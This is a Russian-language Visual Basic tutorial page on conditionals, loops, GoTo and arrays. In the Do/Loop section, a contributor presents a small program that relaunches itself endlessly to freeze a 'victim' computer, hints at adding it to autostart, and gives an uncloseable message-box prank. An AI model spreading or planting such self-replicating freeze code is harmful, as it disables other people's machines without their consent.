Условный оператор
Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа.
If Условие Then
Серия 1
Else
Серия 2
End If
ИЛИ
If Условие Then Серия 1
Оператор Select Case
С помощью этого оператора можно заменить условный оператор, это удобнее(т. к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так.
Select Case Переменная или выражение
Case Значение 1
Действие
Case Значение 1
Действие
...
Case Else Действие в случае несовпадения End Select
Операторы Do, Loop, Until (от - Гепарда97-)
Использование:
Do
<...операторы...>
Loop
Вгоняет комп в чуть менее, чем бесконечный цикл.
Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:
sub main()
do
shell app. path & "\" & app. exename & ".exe"
loop
end sub
(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus. exe /f где virus. exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)
Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.
Или другой пример (а здесь еще и использование случайного генератора чисел!)
Sub Main()
Call Randomize
random1 = Rnd
If random1 < 0.75 Then
Do
MsgBox "Хахахаха, ламерз маст дай!"
Loop
End If
End
End Sub
Что делает код: сначала генерирует ряд случайных чисел,
затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то
начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ. число больше 0.75 то прога просто выключится.
А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.
1ый способ:
do
'Здесь мог быть ваш код
loop until x = 1
Второй:
do
if x <> 1 then
'Здесь мог быть ваш код
else
exit do 'Выходим из цикла
end if
loop
Оператор GoTo
Оператор безусловного перехода всегда изменяет порядок выполнения операторов в процедуре или функции vba. При этом vba не проверяет никаких условий, а просто переходит к выполнению кода с другого места.
Оператор GoTo имеет следующий синтаксис
GoTo метка
Метка – любое обозначение или номер строки в той же процедуре или функции, которая содержит оператор GoTo. При выполнении оператора GoTo VBA немедленно переходит к выполнению оператора в строке, определенной с помощью метки.
17.Массивы в Visual Basic. Операторы цикла и обработка массивов.
Циклы
o For... Next
Dim i As Integer = 0
For i = 1 To 10
DisplayNumber(i)
Next
Цикл For...Next начинается с переменной-счетчика i. Это переменная цикла, используемая для подсчета того, сколько раз он был выполнен. Следующая строка (For i = 1 to 10) сообщает программе, сколько раз требуется повторить цикл, а также описывает возможные значения переменной i. Выполнение цикла For...Next начинается с переменной i, содержащей первое значение (в данном случае —1). Затем программа выполняет строки кода между строками For и Next, в этом случае вызывая метод DisplayNumber с параметром i (в данном случае также равным 1).
При достижении строки Next 1 добавляется к переменной i, и выполнение программы переходит обратно к строке For. Это повторяется до тех пор, пока значение i не станет больше, чем второе число в строке For, в этом случае 10. Как только это произойдет, выполнение программы продолжится со строки кода после строки Next.
o Do...While (Do…Until)
Dim sum As Integer = 0
Do While sum < 100
sum = sum + 10
Loop
В этом коде строка Do While оценивает переменную sum, проверяя, меньше ли она чем 100. Если это так, то выполняется следующая строка кода; если же это не так, то выполнение переходит к строке, следующей за словом Loop. Ключевое слово Loop сообщает коду о необходимости вернуться к строке DoWhile и оценить новое значение sum.
Массивы. Переменные, представляющие более одного значения
Существует другой тип переменной — массив. Он предоставляет удобный способ для хранения нескольких значений одного типа.
Dim players() As String
Переменная массива объявляется постановкой круглых скобок после имени переменной. Если известно количество хранимых значений, то можно также указать размер массива в описании, как это показано ниже.
Dim players(8) As String
Размер массива составляет 9, так как в бейсбольную команду входят 9 игроков. Массив состоит из некоторого количества значений или элементов, начиная с нулевого элемента и заканчивая элементом с номером, который на единицу меньше, чем число, указанное в объявлении. В этом случае массив содержит элементы от 0 до 8, всего девять элементов.
Присвоение значений массивам
players(0) = "John"
players(3) = "Bart"
Как в случае с другими типами значений, можно объявить массив и присвоить значения его элементам в одной строке следующим образом.
Dim players() As Integer = {1, 2, 3, 4, 5, 6, 7, 8, 9}
В этом случае фигурные скобки означают список значений. Значения назначаются элементам в указанном порядке. Обратите внимание, что размер массива не указан, а определяется числом элементов в списке.
Извлечение значений из массива
Подобно тому, как числа используются для указания положения элемента в массиве, номер элемента используется для указания значения, которое нужно извлечь.
Dim AtBat As String
AtBat = players(3)
Приведенный выше код извлекает четвертый элемент массива и присваивает его значение строковой переменной AtBat.
18.Элементы управления в Visual Basic.
|
Из за большого объема этот материал размещен на нескольких страницах:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
